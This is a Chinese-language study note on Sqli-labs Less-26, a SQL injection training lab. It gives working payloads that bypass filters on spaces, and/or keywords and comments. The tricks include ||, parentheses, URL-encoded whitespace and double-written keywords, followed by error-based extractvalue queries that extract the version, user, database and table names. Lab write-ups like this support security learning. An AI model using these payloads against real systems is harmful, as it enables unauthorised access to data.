声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
以Sqli-labs中的less26为实验环境。
一、概述
绕过对空格、and/or、注释的过滤。
二、实验(基于GET类型的注入-检测space/and/or/注释)
1. 使用GET方式传入参数
使用id=1,页面正常发生变化。
2. 测试语句能否报错
?id=1'
?id=1'2"3
明显判断为字符型注入(单引号闭合)。
3. 测试语句能否恶意执行(能不报错)
?id=1' or 1 --+
出现报错,这里有检测,我们爆出or附近的语句。
发现or被过滤,同时如果仅仅是or被过滤,是不会将3和1之间的两个空格过滤,这里还存在空格过滤。同时注释符也存在过滤。
or被过滤,使用之前的办法,我们使用||替换or。这样||左右没有空格也可以识别为or。
注释绕过,我使用闭合两的单引号的方式即可。
空格过滤有以下办法:
- 使用+替换空格,在php中,+会被识别为空格,写入SQL语句中。
- 使用空格的URL码形式%20,绕过检测。
- 使用其他符号的URL码形式:%09,%0a,%0b,%0c,%0d,%a0。
- 使用/**/代替空格。
- 使用()代替空格间隔。
例如下面的使用括号代替空格间隔可以正常使用。
测试后1-4均被替换,我们使用括号绕过。
?id=1' || (select(1)) || '1
5.使用报错注入得到版本,用户名,当前数据库名
?id=1' || (extractvalue(1,concat(0x7e, version()) )) || '1
?id=1' || (extractvalue(1,concat(0x7e, user(), database() ) )) || '1
6. 爆出security表名
?id=1' || (extractvalue(1,concat(0x7e, ( select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()) )) )) || '1
注意其中的information的or要双写。
后续步骤参考报错注入。